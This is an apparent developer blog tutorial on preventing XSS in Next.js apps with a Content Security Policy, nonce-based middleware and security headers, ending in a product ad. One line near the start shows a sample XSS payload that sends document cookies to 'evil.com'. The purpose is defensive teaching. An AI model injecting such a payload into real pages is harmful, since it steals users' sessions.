Content Security Policy: Preventing XSS in Next.js Apps
A Content Security Policy (CSP) tells the browser which scripts, styles, and resources are allowed to load. It's the most effective defense against Cross-Site Scripting (XSS) attacks.
What CSP Prevents
Without CSP: an attacker injects <script>fetch('evil.com?c='+document.cookie)</script> and your users' sessions are stolen.
With CSP: browser blocks any script not explicitly whitelisted.
Next.js Middleware CSP
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`,
`style-src 'self' 'nonce-${nonce}'`,
`img-src 'self' blob: data: https:`,
`font-src 'self'`,
`object-src 'none'`,
`base-uri 'self'`,
`form-action 'self'`,
`frame-ancestors 'none'`,
`upgrade-insecure-requests`,
].join('; ');
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}
Using the Nonce in Layout
// app/layout.tsx
import { headers } from 'next/headers';
export default function RootLayout({ children }) {
const nonce = headers().get('x-nonce') ?? '';
return (
<html>
<head>
{/* Scripts/styles with nonce are allowed by CSP */}
<script nonce={nonce} src='/analytics.js' />
</head>
<body>{children}</body>
</html>
);
}
Security Headers Bundle
// Apply multiple security headers at once
const securityHeaders = [
{ key: 'X-DNS-Prefetch-Control', value: 'on' },
{ key: 'Strict-Transport-Security', value: 'max-age=63072000; includeSubDomains; preload' },
{ key: 'X-Frame-Options', value: 'SAMEORIGIN' },
{ key: 'X-Content-Type-Options', value: 'nosniff' },
{ key: 'Referrer-Policy', value: 'strict-origin-when-cross-origin' },
{ key: 'Permissions-Policy', value: 'camera=(), microphone=(), geolocation=()' },
];
// next.config.ts
export default {
async headers() {
return [{ source: '/(.*)', headers: securityHeaders }];
},
};
Testing Your CSP
// Start with Report-Only mode — logs violations, doesn't block
response.headers.set(
'Content-Security-Policy-Report-Only',
`${csp}; report-uri /api/csp-report`
);
// CSP violation endpoint
app.post('/api/csp-report', (req, res) => {
console.log('CSP violation:', req.body);
res.status(204).send();
});
Common Third-Party Additions
// Stripe.js
`script-src 'self' https://js.stripe.com`
`frame-src https://js.stripe.com`
// Google Analytics
`script-src 'self' https://www.googletagmanager.com`
`connect-src 'self' https://www.google-analytics.com`
// PostHog
`script-src 'self' https://us-assets.i.posthog.com`
`connect-src 'self' https://us.i.posthog.com`
Security is a first-class concern at whoffagents.com — the MCP Security Scanner Pro audits MCP servers for XSS, injection, and 20+ other vulnerability classes. $29 at whoffagents.com.
Top comments (0)